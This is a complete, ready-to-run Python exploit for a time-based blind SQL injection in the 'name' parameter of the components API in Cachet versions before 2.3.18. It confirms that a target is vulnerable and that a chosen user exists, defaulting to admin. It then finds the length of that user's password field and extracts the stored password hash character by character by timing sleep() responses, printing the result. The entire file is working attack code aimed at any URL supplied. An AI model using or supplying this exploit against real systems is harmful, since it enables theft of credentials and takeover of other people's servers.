#!/usr/bin/env python3 # -*- coding: utf-8 -*- # File name : exploit.py # Author : Worty (@_Worty) # Date created : 16 Mar 2022 import requests import time import argparse import validators import sys class PerformSQLi(object): def __init__(self, url, user, time): self.url = url + "api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=" self.time = int(time) self.pwd_length = 0 self.password = '' self.user = user def check_user_exist(self): payload = f"or+'a'='a') and (select case when substring(username from 1 for 1)='{self.user[0]}' then sleep({self.time}) else true end from users where username='{self.user}') --" start = int(time.time()) requests.get(self.url + payload) if int(time.time()) - start >= self.time: print(f"[+] User {self.user} exist !") return True else: print(f"[-] User {self.user} doesn't exist") return False def test_vulnerable(self): payload = f"or+'a'='a') and (select sleep(5))--" start = int(time.time()) requests.get(self.url + payload) if int(time.time()) - start >= 5: print("[+] Target is vulnerable !") return True else: print("[-] Target is not vulnerable !") return False def get_pwd_length(self): running = True while running: payload = f"or+'a'='a') and (select case when length(password)={self.pwd_length} then sleep({self.time}) else true end from users where username='{self.user}') --" start = int(time.time()) requests.get(self.url + payload) if int(time.time()) - start >= self.time: print(f"[+] Found password length: {self.pwd_length}") running = False else: self.pwd_length += 1 def get_hash_pwd(self): char = 32 tmp_length = 1 print(f"[+] Leaking {self.user} password: ", end='') sys.stdout.flush() running = True while running: payload = f"or+'a'='a') and (select case when binary(substring(password from {tmp_length} for 1))=binary('{chr(char)}') then sleep({self.time}) else true end from users where username='{self.user}') --" start = int(time.time()) requests.get(self.url + payload).json() if int(time.time()) - start >= self.time: if tmp_length != self.pwd_length: self.password += chr(char) print(chr(char), end='') sys.stdout.flush() tmp_length += 1 char = 32 else: self.password += chr(char) print(chr(char), end='') sys.stdout.flush() running = False else: char += 1 print(f"\n[+] {self.user}:{self.password} !") def run(self): if self.test_vulnerable(): if self.check_user_exist(): print("[+] Running exploit") self.get_pwd_length() self.get_hash_pwd() return if __name__ == "__main__": parser = argparse.ArgumentParser(description='This script is used to exploit SQL injection on GET parameter name of Cachet version prior to 2.3.18 and 2.4.0-dev') parser.add_argument('-U', '--user', help='User wanted password (default admin)', default='admin') parser.add_argument('-t', '--time', help='Time to sleep if query is true (default 2)', type=int, default=2) requiredNamed = parser.add_argument_group('required named arguments') parser.add_argument('-u', '--url', help='Url to exploit', required=True) parsed_args = parser.parse_args() if validators.url(parsed_args.url): if not parsed_args.url.endswith("/"): parsed_args.url += "/" exploit = PerformSQLi(url=parsed_args.url, user=parsed_args.user, time=parsed_args.time) exploit.run() else: print("[-] Invalid url provided")